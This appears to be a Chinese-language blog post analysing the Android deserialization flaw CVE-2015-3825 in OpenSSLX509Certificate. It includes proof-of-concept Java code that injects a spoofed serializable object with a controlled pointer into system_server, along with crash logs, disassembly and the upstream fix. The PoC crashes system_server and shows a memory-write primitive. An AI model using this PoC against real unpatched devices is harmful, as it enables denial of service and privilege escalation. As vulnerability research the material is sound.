OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析
0x00 序
序列化 (Serialization),是將物件的狀態資訊轉換為可以儲存或傳輸的形式的過程。在序列化期間,物件將其當前狀態寫入到臨時或永續性儲存區。使用者可以透過從儲存區中讀取或反序列化物件的狀態,重新建立該物件。
Android也有許多場景使用序列化進行資料傳遞,如App間/內的物件傳遞、Binder通訊的資料傳遞等等,一般涉及跨程式、跨許可權。序列化/反序列也是程式/介面的一個輸入,儲存區的內容或序列是可被隨機填充,如果使用時驗證不完整,也會導致安全漏洞。在Android系統中,可透過序列化/反序列化漏洞實現App拒絕服務、提升許可權等攻擊。
0x01 漏洞成因
這個Android序列化漏洞(CVE-2015-3825),影響Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M預覽版1,波及55%的Android裝置。可在受影響的裝置上提權到system許可權,也就意味著攻擊者可以透過替換目標應用的apk接管受害者手機上的任意應用。這個漏洞是由的IBM安全團隊Or Peles和Roee Hay在USENIX 2015大會上的議題《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》【1】。
2.1 PoC構造
Paper作者沒放出Exploit也沒放出PoC,根據這篇paper我們可以知道,漏洞出在OpenSSLX509Certificate(全包名路徑為com.android.org.conscrypt.OpenSSLX509Certificate)類,OpenSSLX509Certificate類滿足:
1)OpenSSLX509Certificate是可序列化的,因為他繼承自可序列化的Certificate類;
2)它有一個finalize()方法,並且有呼叫native的方法(libjavascrypto.so中),引數field mContext,long型(實際為指標型別);
3)OpenSSLX509Certificate也沒有實現特定的反序列化方法(readObject和readResolve);
其中mContext就是要找的可被攻擊控制的指標。
我對CVE-2014-7911的POC進行了改造,首先定義類com.android.org.conscrypt.ApenSSLX509Certificate
,如下:
#!java
public class ApenSSLX509Certificate implements Serializable {
//private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator
private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator
public final long mContext;
ApenSSLX509Certificate(long ctx) {
mContext = ctx;
}
}
注意包名為com.android.org.conscrypt,然後在同包名下建立一個MainActivity.java,對ApenSSLX509Certificate進行呼叫:
#!java
com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);
b.putSerializable("eatthis", evilProxy);
和CVE-2014-7911 PoC一樣,向“android.os.IUserManager”的service傳送請求前,修改類名:
#!java
int l = data.length;
for (int i=0; i<l-4; i++) {
if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') {
data[i] = 'O';
break;
}
}
類似CVE-2014-7911的分析,我們也對service.jar加一些日誌資訊輸出,在Android 4.4.2的AVD中,安裝、執行PoC,我們看到:
E/CVE-2014-7911-trace(1669): setApplicationRestrictions E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[] W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[] at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417) at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124) at android.os.IUserManager$Stub.onTransact(IUserManager.java:245) W/System.err(1669): at android.os.Binder.execTransact(Binder.java:404) W/System.err(1669): at dalvik.system.NativeStart.run(Native Method) E/UserManagerService(1669): Error writing application restrictions list
也是強制型別轉換導致異常,與CVE-2014-7911的強制轉換為java.io.Serializable導致的異常不同,因為傳入的object本身不是序列化的物件,致使型別轉換失敗。CVE-2015-3825是將com.android.org.conscrypt.OpenSSLX509Certificate
強制轉換為java.lang.String[]
而產生的異常。
驗證PoC過程中,在Android 4.4.2 AVD,只觸發了“Error writing application restrictions list”異常,但是GC資源回收沒被觸發。
在Android 5.1.1 AVD,可以透過重複傳送n次的“TRANSACTION_setApplicationRestrictions”請求可以觸發GC回收資源,最後導致system_server的crash:
A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon)
I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys'
I/DEBUG(61): Revision: '0'
I/DEBUG(61): ABI: 'arm'
I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon >>> system_server <<<
I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f
I/DEBUG(61): r0 00000000 r1 0000000c r2 00000000 r3 00000000
I/DEBUG(61): r4 b6c9766f r5 00000003 r6 ffffffff r7 7f7f7f8f
I/DEBUG(61): r8 00000075 r9 b6c24ac9 sl a78fbaa4 fp 13068980
I/DEBUG(61): ip 00000001 sp a78fba58 lr b6c3da1d pc b6c3da1c cpsr 60000030
I/DEBUG(61): backtrace:
I/DEBUG(61): #00 pc 00072a1c /system/lib/libcrypto.so (CRYPTO_add_lock+59)
I/DEBUG(61): #01 pc 000579b1 /system/lib/libcrypto.so (asn1_do_lock+68)
I/DEBUG(61): #02 pc 0005646f /system/lib/libcrypto.so
09-06 20:31:31.394: I/DEBUG(61): #03 pc 00056415 /system/lib/libcrypto.so (ASN1_item_free+12)
09-06 20:31:31.395: I/DEBUG(61): #04 pc 00017c0d [email protected]@boot.oat
09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms
09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01
2.2 異常分析
這裡基於Android 5.1.1 AVD上的分析。
上面說到,“TRANSACTION_setApplicationRestrictions
”請求發出後,導致一個異常,然後GC回收資源。
從原始碼分析,GC呼叫OpenSSLX509Certificate. finalize()
:
@Override
protected void finalize() throws Throwable {
try {
if (mContext != 0) {
NativeCrypto.X509_free(mContext);
}
} finally {
super.finalize();
}
}
然後呼叫NativeCrypto.X509_free()
方法,該方法在NativeCrypto.java定義如下:
public static native void X509_free(long x509ctx);
最終是在libjavacrypto.so中實現的,該函式定義在org_conscrypt_NativeCrypto.cpp檔案中:
static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) {
X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref));
JNI_TRACE("X509_free(%p)", x509);
if (x509 == NULL) {
jniThrowNullPointerException(env, "x509 == null");
JNI_TRACE("X509_free(%p) => x509 == null", x509);
return;
}
X509_free(x509);
}
NativeCrypto_X509_free
函式最後呼叫的X509_free是OpenSSL庫提供的介面,關於如何找到該函式實現請參考附錄一。
根據上面分析得到資訊,在動態除錯時,我們在libjavacrypto.so:: NativeCrypto_X509_free
函式中下斷,
.text:00008C1C sub_8C1C ; DATA XREF: .data:000175ACo .text:00008C1C CBNZ R2, loc_8C26 .text:00008C1E LDR R1, =(aX509Null - 0x8C24) .text:00008C20 ADD R1, PC ; "x509 == null" .text:00008C22 B.W j_j_j_jniThrowNullPointerException .text:00008C26 .text:00008C26 loc_8C26 ; CODE XREF: sub_8C1Cj .text:00008C26 MOV R0, R2 .text:00008C28 B.W j_j_X509_free .text:00008C28 ; End of function sub_8C1C
下斷點後,有時會碰到單步執行異常,筆者使用的一個辦法供參考:設定該lib庫的所有記憶體節屬性為可寫的。
在j_j_X509_free中單步步入,到libcrypto.so: ASN1_item_free
函式,
.text:00056408 EXPORT ASN1_item_free
.text:00056408 ASN1_item_free ; CODE XREF: j_ASN1_item_free+8j
.text:00056408 ; DATA XREF: .got:ASN1_item_free_ptro
.text:00056408
.text:00056408 var_C = -0xC
.text:00056408
.text:00056408 PUSH.W {R11,LR}
.text:0005640C SUB SP, SP, #8
.text:0005640E STR R0, [SP,#0x10+var_C]
.text:00056410 ADD R0, SP, #0x10+var_C
.text:00056412 MOVS R2, #0
.text:00056414 BL sub_56420
.text:00056418 ADD SP, SP, #8
.text:0005641A POP.W {R11,PC}
.text:0005641A ; End of function ASN1_item_free
sub_56420即為asn1_item_combine_free
函式,定義為:
static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)
我們繼續分析這個函式,
.text:00056420 sub_56420 ; CODE XREF: ASN1_item_free+Cp
.text:00056420 ; ASN1_item_ex_free+2j ...
.text:00056420 PUSH.W {R4-R10,LR}
.text:00056424 MOV R10, R0 ; R0: pval, &mContext;
.text:00056426 MOV R8, R2 ; R1: combine, int;
.text:00056428 MOV R5, R1 ; R1: it, ASN1_ITEM;
.text:00056428 ; libcrypto.so:X509_NAME_TYPE_it
.text:0005642A CMP.W R10, #0 ; if (!pval) return;
.text:0005642E BEQ.W def_5645A ; jumptable 0005645A default case
.text:00056432 LDRB R1, [R5] ; R1 <- it->itype;
.text:00056434 LDR R0, [R5,#0x10] ; R0 <- aux = it->funcs;
.text:00056436 CBZ R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0
.text:00056438 LDR.W R2, [R10] ; !*pval
.text:0005643C CMP R2, #0
.text:0005643E BEQ.W def_5645A ; jumptable 0005645A default case
如分號後的備註所寫,這段程式碼將初始相關變數:將&mContext存入R10,combine存入R2,it存入R5,然後驗證引數的合法性。程式碼繼續,獲取aux->asn1_cb存入R9中:
.text:00056442 loc_56442 ; CODE XREF: sub_56420+16j
.text:00056442 CMP R0, #0
.text:00056444 ITT NE
.text:00056446 LDRNE.W R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb;
.text:0005644A CMPNE.W R9, #0
.text:0005644E BNE loc_56454 ; switch(it->itype)
.text:00056450 MOV.W R9, #0
繼續,接下來呼叫asn1_do_lock函式:
.text:00056466 MOV R0, R10 ; jumptable 0005645A cases 1,6
.text:00056468 MOV.W R1, #0xFFFFFFFF ; 傳入-1
.text:0005646C MOV R2, R5 ; it
.text:0005646E BLX j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it)
.text:0005646E ; 走到這了,crash在這個函式
.text:00056472 CMP R0, #0
.text:00056474 BGT def_5645A ; jumptable 0005645A default case
此時整理asn1_do_lock函式呼叫時引數:R0是上面R10儲存的&mContext,R1為-1,R2為上面R5儲存的it。下面進入asn1_do_lock函式繼續分析,取出it->funcs放入R2:
.text:00057984 LDR R2, [R2,#0x10] ; aux = it->funcs;
.text:00057986 CMP R2, #0
再取it->funcs即aux的ref_offset放入R3中,然後計算(char*)mContext+auw->ref_offset的存入R12:
.text:00057992 LDR R3, [R2,#8] ; aux->ref_offset
.text:00057994 CMP R1, #0
.text:00057996 LDR R0, [R0] ; R0 = &mContext
.text:00057998 ADD.W R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset);
.text:0005799C BEQ loc_579B6
接下來是呼叫CRYPTO_add_lock函式:
.text:000579A2 MOVS R0, #0x75
.text:000579A4 LDR R3, =(aExternalOpe_43 - 0xFA1D8)
.text:000579A6 ADD LR, PC ; _GLOBAL_OFFSET_TABLE_
.text:000579A8 LDR R2, [R2,#0xC] ; aux->ref_lock
.text:000579AA ADD R3, LR ; "external/openssl/crypto/asn1/tasn_utl.c"
.text:000579AC STR R0, [SP,#0x10+var_10] ; line: 0x75 -> 117
.text:000579AE MOV R0, R12
.text:000579B0 BLX j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
進一步分析CRYPTO_add_lock函式,讀取R7地址的內容再加R1(R1=-1,這裡也就是減1操作),然後再存入R1地址中:
.text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line) .text:000729E0 EXPORT CRYPTO_add_lock .text:000729E0 CRYPTO_add_lock ; CODE XREF: j_CRYPTO_add_lock+8j .text:000729E4 MOV R7, R0 ; R7 = (char*)mContext+auw->ref_offset ... ... .text:000729E8 MOV R6, R1 ; R1 = -1 … … .text:00072A1C LDR R0, [R7] ; Crash在這,此時R7為0x7F7F7F8F .text:00072A24 ADD R6, R0 … … .text:00072A28 STR R6, [R7] ; 如果R7指向的記憶體為寫的,這裡可以實現任意寫
除錯時aux->ref_offset的值為0x10,參考x509_st結構,我們猜測(char*)mContext+0x10為mContext-> references,用記錄物件引用次數,管理記憶體的引用。再看原始碼tasn_fre.c (external/openssl/crypto/asn1/)【4]的asn1_item_combine_free方法:
case ASN1_ITYPE_SEQUENCE:
if (asn1_do_lock(pval, -1, it) > 0)
return;
if (asn1_cb)
{
i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL);
if (i == 2)
return;
}
當asn1_do_lock返回為0,即mContext-> references為0時,才呼叫asn1_cb函式釋放資源。
繼續CRYPTO_add_lock的反彙編程式碼分析,由於我們在Java層傳入的是一個非法地址0x7f7f7f7f,所以導到記憶體寫異常。
Google的修復方法【2】是給mContext成員新增transient修飾符,使其不被序列化。
0x03 總結
在物件序列化時,指標成員的序列化較易存在安全風險,如CVE-2014-7911中的mOrgue,CVE-2015-3825中的mContext。本漏洞(CVE-2015-3825)中由於mContext是可序列化的,而它指向的又是X509結構的指標,當傳入的序列化物件在反序列化產生異常時,系統呼叫GC回收資源,即mContext->references減1,這裡mContext是可控制的,便可導致有限制的記憶體任意寫(多次減1)漏洞。
0x04 參考
【1】 https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
【2】 https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540
【3】 https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540
【4】 https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c
0x05 附錄
5.1 如何找到那個叫X509_free的函式
在OpenSSL程式碼中怎麼搜X509_free也搜尋不到真正的程式碼實現,這是因為OpenSSL中用了一堆宏、宏巢狀定義部分函式、結構,X509_free就在其中一個。細細看程式碼才發現X509_free是在crypto/asn1/x_x509.c檔案中由IMPLEMENT_ASN1_FUNCTIONS定義的:
IMPLEMENT_ASN1_FUNCTIONS(X509)
順藤摸瓜找出下面幾個巢狀的宏:
# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \
IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \
IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)
# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \
stname *fname##_new(void) \
{ \
return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \
} \
void fname##_free(stname *a) \
{ \
ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \
}
#define ASN1_ITEM_rptr(ref) (&(ref##_it))
對映到X509的定義,可以翻譯如下:
X509 * X509_new(void) \
{ \
return (X509 *)ASN1_item_new(&X509_it); \
} \
void X509_free(X509 *a) \
{ \
ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \
}
相關文章
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- Apache Shiro 反序列化漏洞分析2021-11-12Apache
- Shiro 550反序列化漏洞分析2021-10-07
- Java安全之Cas反序列化漏洞分析2021-05-27Java
- WebLogic 反序列化漏洞深入分析2022-09-29Web
- java RMI相關反序列化漏洞整合分析2020-08-19Java
- Fastjson 反序列化漏洞分析 1.2.25-1.2.472022-01-25ASTJSON
- Fastjson反序列化漏洞分析 1.2.22-1.2.242022-01-21ASTJSON
- Java安全之Shiro 550反序列化漏洞分析2020-12-24Java
- 有隙可乘 - Android 序列化漏洞分析實戰2024-05-16Android
- Java序列化、反序列化、反序列化漏洞2024-09-25Java
- JAVA反序列化漏洞完整過程分析與除錯2020-08-19Java除錯
- php反序列化漏洞2020-10-06PHP
- JMX 反序列化漏洞2024-07-18
- 一次老版本jboss反序列化漏洞的利用分析2022-09-28
- WEB漏洞——PHP反序列化2021-09-13WebPHP
- python 反序列化漏洞2024-05-12Python
- fastjson反序列化漏洞2024-09-22ASTJSON
- 【機器學習PAI實踐三】霧霾成因分析2017-04-05機器學習AI
- Fastjson 反序列化漏洞史2020-05-13ASTJSON
- PHP反序列化漏洞總結2020-04-24PHP
- php xss 反序列化漏洞2024-03-08PHP
- common-collections中Java反序列化漏洞導致的RCE原理分析2020-08-19Java
- Typo3 CVE-2019-12747 反序列化漏洞分析2019-08-02
- Fastjson反序列化漏洞復現2021-05-06ASTJSON
- Web安全之PHP反序列化漏洞2021-05-18WebPHP
- Apache Shiro 550反序列化漏洞2024-05-05Apache
- Apache Commons Collections反序列化漏洞2024-05-08Apache
- WebLogic XMLDecoder反序列化漏洞2024-06-10WebXML
- 懸鏡安全丨Java 反序列化任意程式碼執行漏洞分析與利用2016-11-14Java
- PHP審計之PHP反序列化漏洞2021-10-11PHP
- WebLogic T3反序列化漏洞2024-06-06Web
- [BUG反饋]分類授權漏洞2020-04-04
- Fastjson1.2.24反序列化漏洞復現2021-01-28ASTJSON
- Python 反序列化漏洞學習筆記2020-12-10Python筆記
- 深入分析Java的序列化與反序列化2016-02-05Java
- 【漏洞分析】KaoyaSwap 安全事件分析2022-08-28事件
- PHP反序列化鏈分析2022-05-09PHP